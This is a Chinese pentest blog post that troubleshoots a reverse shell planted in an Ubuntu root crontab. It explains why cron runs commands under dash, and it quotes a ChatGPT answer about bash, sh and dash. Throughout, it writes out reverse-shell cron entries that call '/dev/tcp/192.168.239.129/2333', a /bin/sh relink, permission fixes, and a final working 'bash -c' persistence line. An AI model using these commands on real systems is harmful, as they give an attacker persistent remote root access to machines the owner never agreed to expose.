目录
Ubuntu的命令执行环境
bash (Bourne Again SHell):
sh (Bourne SHell):
dash (Debian Almquist SHell):
它们之间的关系:
可能遇到的问题
一、脚本权限问题
二、命令执行环境(shell解释器)问题
如何解决?
1.修改/bin/sh软连接的指向为bash
2.编写shell脚本文件并执行
3.bash -c参数指定shell解释器
相信各位师傅在平时渗透过程中会遇到ubuntu任务计划反弹shell失败的情况,本文就这一问题浅析一下
Ubuntu的命令执行环境
在分析问题之前,我们先来讨论一下ubuntu中的bash、sh和dash的关系
这是chatgpt-4o的回答:
在Ubuntu系统中,bash
、sh
、dash
都是常见的Shell解释器,它们之间有一些区别和联系:
-
bash (Bourne Again SHell):
bash
是GNU项目的一个Unix shell,它是sh
(Bourne shell)的替代品。bash
兼容sh
,并且提供了许多增强功能,例如更丰富的编程结构、更强大的命令行编辑和历史记录功能。- 默认情况下,Ubuntu系统中的终端会话使用的是
bash
。
-
sh (Bourne SHell):
sh
是最初由Stephen Bourne在1977年开发的Unix shell。sh
语法较为简单,但功能有限。- 在现代Linux系统中,
sh
通常是指向另一个shell的符号链接。在Ubuntu中,这个符号链接通常指向dash
。
-
dash (Debian Almquist SHell):
dash
是一个POSIX兼容的Shell,旨在比bash
更轻量级和更快速。dash
是ash
(Almquist Shell)的一个变种。- 在Ubuntu中,默认的
/bin/sh
是指向dash
的符号链接。这是为了提高系统启动和脚本执行的速度。 - 尽管
dash
在性能上有优势,但它不支持bash
的一些特性,因此某些脚本可能无法在dash
中正确运行。
它们之间的关系:
sh
通常是指向dash
的符号链接(在Ubuntu系统中)。dash
是一个轻量级、快速的POSIX兼容Shell,被用作系统默认的/bin/sh
。bash
是sh
的增强版本,提供了更多功能,并且是用户默认的交互式Shell。
总结来说,Ubuntu选择使用dash
作为系统默认的sh
来加快启动速度,而用户交互式Shell仍然使用功能更强大的bash
也就是说,之所以使用crontab反弹不了shell,就是因为crontab使用的是系统的默认执行环境dash(centos中是bash),找不到/bin/bash环境
但是用户交互式的shell还是使用的是bash,这就是为什么有些师傅直接输入反弹shell的命令是可以成功反弹的,而同样的命令crontab却不行
接下来通过例子来分析反弹shell中可能遇到的问题
可能遇到的问题
我们先用下面的脚本来尝试反弹shell,写到/var/spool/cron/crontabs/root中
* * * * * 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
攻击机监听,过了一分钟后发现并没有回弹
一、脚本权限问题
查看syslog
tail /var/log/syslog
提示root脚本是一个不安全的模式,模式应该是0600
我们根据它的报错来修改权限,改为0600
然后等待1分钟,查看是否能回弹shell
二、命令执行环境(shell解释器)问题
发现仍然没有回弹,同样查看日志
可以看到crontab其实是执行了命令的,但是因为命令执行报错,系统想输出到邮件中,但没有安装邮件传输代理(MTA),因此cron任务的输出被丢弃
根据日志我们可以修改一下脚本,将 标准错误输出 输出到/tmp/error.txt文件中
* * * * * 'bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1
等待一分钟,查看/tmp/error.txt文件
可以看到错误提示 /bin/sh找不到bash命令
这就是我们前面讲到的ubuntu的默认shell解释器是sh,而sh是dash的一个软链接
dash找不到bash命令所以报错,但是ubuntu中没有bash环境吗?
很显然是有的,我们使用的用户交互shell就是bash环境
既然相对路径找不到,我们可以用绝对路径/bin/bash,不就可以找到了吗?
修改脚本
* * * * * '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1' >/tmp/error.txt 2>&1
等待一分钟后发现依然不能反弹,查看错误信息
仍然显示找不到命令
这里的错误原因其实和上面一样,这不是路径的问题,而是默认的shell解释器根本就不是bash,如果是默认是bash,可能会存在这样的路径问题
如何解决?
1.修改/bin/sh软连接的指向为bash
(此方法是其他博客写的,尝试了很久不成功)
ln -s -f bash /bin/sh
这种方法可以将默认shell解释器修改为bash
理论上是可以成功反弹的,但是我尝试了很多遍依旧失败,依旧显示命令找不到
2.编写shell脚本文件并执行
我们可以避免在crontab中直接执行命令,可以先编写一个反弹shell的脚本,然后在计划任务中执行脚本,避免直接在计划任务中执行,这样就不会使用默认的sh环境了
记得chmod加上执行权限
chmod +x /tmp/1.sh
成功反弹
3.bash -c参数指定shell解释器
这个方法是我比较推荐的方式,不需要多余的操作,可以直接在计划任务中执行,只需加上bash -c参数指定shell解释器即可
* * * * * bash -c '/bin/bash -i >& /dev/tcp/192.168.239.129/2333 0>&1'
bash -c 表示使用bash作为shell解释器,然后-c选项表示后面跟随的是要执行的命令字符串
注意:计划任务的执行文件仍需要0600的权限,不然也反弹不了